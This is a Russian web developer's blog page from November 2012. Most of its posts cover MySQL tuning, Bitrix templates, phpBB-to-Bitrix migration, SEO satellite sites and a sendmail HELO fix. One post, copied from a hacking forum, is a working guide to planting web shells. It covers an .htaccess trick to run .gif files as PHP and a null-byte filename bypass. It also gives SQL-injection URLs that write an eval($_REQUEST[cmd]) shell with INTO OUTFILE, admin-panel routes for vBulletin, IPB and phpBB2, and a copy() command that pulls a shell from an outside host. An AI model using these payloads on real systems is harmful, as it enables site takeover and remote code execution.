Производство фотообоев в Новосибирске. Интернет магазин фотообоев. Изготовление - один день! Каталог 10 000 изображений!
23 Ноябрь 2012

MySQL — настройка и отладка скриптов

Последнее время сервачёк начал буквально трещать от нагрузки — от чего появились тормоза, что конечно же негативно сказывается на всём — юзерам не приятно, да и роботы не похвалят.
Первое, что пришло в голову — конечно же апгрейд (уже пора т.к. года 2 уже конфигурация без изменений, а нагрузка всё растёт).
Но нормальный апгрейд (полностью замена сервера на более мощный с полной настройкой системы с нуля) — дело не быстрое, а проблему хотелось бы решить побыстрее, хотя бы временно.
Анализ процессов показал, что MySQL явно не справляется и прилично грузит систему, особенно одного из хостеров интересовал конкретный запрос, который в админ панели отрабатывал довольно медленно (был осуществлен ручной допил VirturMart-a).
Первое, что я сделал — попытался привести в порядок серверные настройки MySQL — помогла статейка MySQL-тюнинг. Настраиваем по-взрослому.
Далее, оказалось искомый запрос вообще отказался работать — опытным путём выявил, что причиной тому стало ограничение max_join_size = 1000000
Вывод — оптимизация самого запроса.
Читать полностью »

рубрики: Полезности, Программирование | 7 комментариев

23 Ноябрь 2012

Требуется веб-дизайнер

Время от времени прилетают заказы на всякого рода сайты (последнее время практикую Битрикс) и вопрос с дизайном на данный момент остаётся открытым.
Мог бы заняться сам, но последнее время нахожусь в жестоком цейтноте.
Собственно, нужен дизайнер (уже на данный момент есть один заказ). Можно конечно на фрилансе поискать, но это как запасной вариант…
В обязанности будет входить не только сама работа по дизайну, но и очень важный момент — общение с заказчиком — далеко не каждый заказчик толком представляет, что ему нужно.
Знание основ вёрстки так же необходимо (далее возможно так же и выполнение непосредственно вёрстки и адаптация в шаблон Битрикса — но это посмотрим в процессе, как сработаемся).
Ну и если человек будет из Новосибирска — вообще замечательно.

рубрики: Разное, Сайтостроение | Комментарии (0)

20 Ноябрь 2012

Битрикс — дублирование заголовка title в H1

Уже не в первый раз сталкиваюсь с шаблонами Битрикса где содержимое тега title дублируется с содержимым заголовка H1

В шаблоне это выглядит как

<?$APPLICATION->ShowTitle();?>
....

ShowTitle();?>

Что конечно же в корне неверно.
Решается этот вопрос простой поправкой

ShowTitle(false);?>

Дело в том, что задаются (и как видно выводятся) данные заголовки по-разному

$APPLICATION->SetPageProperty(«title», «Заголовок в окне браузера - тег title»);
$APPLICATION->SetTitle(«Заголовок в h1»);

Вуаля.

рубрики: Bitrix | 4 комментария

19 Ноябрь 2012

Перенос форума PHPBB3 на Битрикс

На прошлой неделе обратились с вопросом о переносе форума с PHPBB3 на Битрикс.
Заказчик вышел на меня сам — с оф.сайта Битрикса (приятно, когда работа сама ищёт тебя, а не наоборот).
Собственно, на эту тему у меня уже было пару постов, где я подробно описал процесс миграции:
Bitrix API: конвертация форума с PHPBB
PHPBB 2 Битрикс — личные сообщения
Но в данном случае конечно-же не обошлось без своих ньюансов:
* К сожалению хэш был записан в формате php4 й версии — к Битриксу не подошел, соответственно пароли юзеров придётся им восстанавливать через почтовый ящик
* В данном ТЗ нужно было перетащить прикреплённые к сообщениям файлы:
Выдёргиваем из bb_attachments все прикреплённые файлы и при создании сообщения передаём переменную с массивом прикреплёнок созданных методом CFile::MakeFileArray()
array =>
0 => array(«name», «size», «tmp_name», «type»),
1 => array(«name», «size», «tmp_name», «type»),
Код приводить не буду, т.к. в каждой версии phpbb прикреплёнки хранятся по-разному.

В остальном всё прошло по-плану и заказчик остался доволен.

рубрики: Bitrix, CMS, Программирование | 3 комментария

14 Ноябрь 2012

Интересное в блогах

Сегодня письмецо упало в ящик

Доброго времени! Предлагаю обмен читателями
http://bo0om.ru/oblen-chitatelyami-2leep
Собираю множество it\sec\coding блогов, возможно заинтересует 😉
Было бы славно, если бы Вы оказались в наших рядах

По ссылке — слишком подробно разжёвано, если кратко — регаем блог в сервисе, ставим у себя виджет ленты — вуаля, ты крутишь новое на блогах выбранной группы — соответственно тебя крутят тоже.

ИМХО — вещь !
С учётом удачной автоматизации и красивого оформления — бомба!
Дмитрий — спасибо!

P.S. Добавил категорию SEO — а там блог webmaster.ru крутят 🙁 кто модератор ветки и как ему написать — непонятно

рубрики: Полезности | 2 комментария

13 Ноябрь 2012

Заливаем шелл на разные CMS

За особой важностью информации полностью содрано отсюда Способы заливки шелла

Льем шелл через картинку

Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы .jpg, .gif, .png.
Что в этом случаем можно сделать?

Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и создаем файл .htaccess с содержимым

AddType application/x-httpd-php .gif
Данная команда выполнит формат .gif как php
Пробуем открыть [path]/shell.gif

Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg, проверять доступность shell.php, а вдруг?

Способ заливки шелла через mysql.user из скули

1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.

site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Узнаем под кем мы сидим)
2)site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user='наш юзер'+--+
(Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3)site.com/index.php?id=-1+union+select+1,'< ?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'Путь до файла'+--+
(Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:

site.com/index.php?id=1+and+1=0+union+Select+1,'prava',3+from+mysql.user+--+
Если prava отобразится, то права есть.

Следующая ситуация. Мы в админке форумного движка vBulletin

Заходим:
Plugins & Products -> Plugin Manager -> [Add New Plugin]
Плагины & Продукты -> Менеджер плагинов -> [Добавить новый плагин]

Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.

Далее выводим phpinfo()

localhost/forum/faq.php?cmd=phpinfo();

Если мы вывели phpinfo() то считайте шелл у нас в руках.

Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php). Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт
mysite.com/shell.txt
Шелл заливаем командой

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php

Заливаем шелл в IPB 3


Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

Код:
select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'
Полный путь можно посмотреть так:

Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO

Шелл тут:
http://site.com/uploads/shell.php

Заливаем шелл в phpBB 2

1. Создаём файл ex.sql
2. Прописываем туда

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;
Где user_id=2 — идентификатор администратора

3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так

Заходим:
http://target/profile.php?mode=editprofile&e=phpinfo();
После:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.

Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot
заливка на форумы
заливка на cms
А вот и мой любимый шелл, тоже на rdot))
WSO

рубрики: security | 4 комментария

9 Ноябрь 2012

С чего начать поисковое продвижение сайта?

Конечно, выбрал я не совсем правильное название поста, т.к. поисковое продвижение конечно же начинается непосредственно с самого сайта — то есть, приведение в порядок контента и так называемой внутренней поисковой оптимизации.

Но сейчас все прекрасно понимают, что на одной внутренней оптимизации не вылезешь и у новичков сразу же возникает вопрос — а что дальше?
Линк-биржи, статьи, прямые договорённости, реклама ? Что эффективнее ? и т.д. и т.п.
Причём как правило финансов мало и хотелось бы максимально эффективно их использовать и когда люди узнают, что за каждую покупную ссылочку не самого хорошего качества. ЕЖЕМЕСЯЧНО придётся отстёгивать, и результат совсем не гарантирован — радости на лицах вообще не наблюдаю.
В то же время в наличии какой-то опыт (свой же сайт подняли), свободное время, желание в топы и необузданное рвение к покорению просторов интернета.

Собственно, не буду томить — хочу порекомендовать схему создания своих белых сайтов, являющихся линк-базой для основного сайта.

То есть — создаём хорошие белые тематические сайты с уникальным контентом на доменах 2го уровня и уже на них в новых материалах ставим в тексте тематические ссылочки на продвигаемые страницы основного сайта по интересующим ключевым словам.

Из минусов такого метода — ваши трудозатраты (контент на таких сайтах желательно обновлять не реже чем раз в месяц — чтоб поисковики не считали их умершими, ну и в целом всё же делать их для людей, а не для роботов)
Всё остальное — только плюсы:
* ссылки естественные, появляющиеся в новом материале — максимальный вес
* ссылки тематические с контента являющегося уникальным
* ссылки ВЕЧНЫЕ
* ссылки бесплатные
* при работе с сайтом донором (раскрутке его) — такие ссылки будут только увеличивать передаваемый поисковый вес
* минимальные затраты для такого метода — только домен (у реселлеров домен в зоне .ru 89 руб. в год) и хостинг (тоже недорого), причём несколько сайтов для разнообразия можно сделать и на фрихостинге
* домены со временем будут стареть и набирать вес, что положительно будет сказываться и на ссылках
* таким сайтам можно придать разную гео-привязку и собирать прямой трафик с разных регионов

Один советик — не располагайте домены на одном хостинге.

И конечно-же возьмите за правило — при возможности ставить ссылочку на чужом ресурсе — обязательно её ставить на какое-то из своих творений. Подписи на блогах, контактная информация в профиле и т.д. и т.п.

рубрики: SEO | 5 комментариев

7 Ноябрь 2012

Helo command rejected: need fully-qualified hostname

При отправке писем средствами php как правило в качестве MTA используется sendmail далее обработкой писем занимается уже почтовый сервер.
Настраивая очередную систему, предназначенную сугубо под хостинг сайта я подумал — есть ли вообще смысл поднимать на этой машине собственный почтовый сервер — и пока воздержался от его установки.
Но при тестировании отправки писем скриптом через php обнаружилась проблема с отправкой писем на адреса xxxxxx@ngs.ru — на мой тестовый ящик на этом сервере письма не дошли.
В чём трабла ?
Врубаем параметр LogLevel=13 в /etc/mail/sendmail.cf снова пробуем отправить и наблюдаем логи /var/log/maillog
в которых и выясняется причина облома
Helo command rejected: need fully-qualified hostname
Почтовику не понравилось как мы с ним поздоровались «need fully-qualified hostname»
Ставим реальный hostname=”my-domain.ru” в /etc/rc.conf
Так же проделываем это командой hostname
Перезагрузка — снова тест — и снова облом.
Делаю вывод, что здоровается сервер не хостнеймом, а непонятно чем, и видимо это должно быть прописано в настройках sendmail…

в конфиге sendmail.cf обнаружил такие строки
# my official domain name
# … define this only if sendmail cannot automatically determine your domain
#Dj$w.Foo.COM

Раскоментируем последнюю строчку и заменяем на #Dj$w
Проверка — пашет.

рубрики: NIX, Администрирование | Комментарии (0)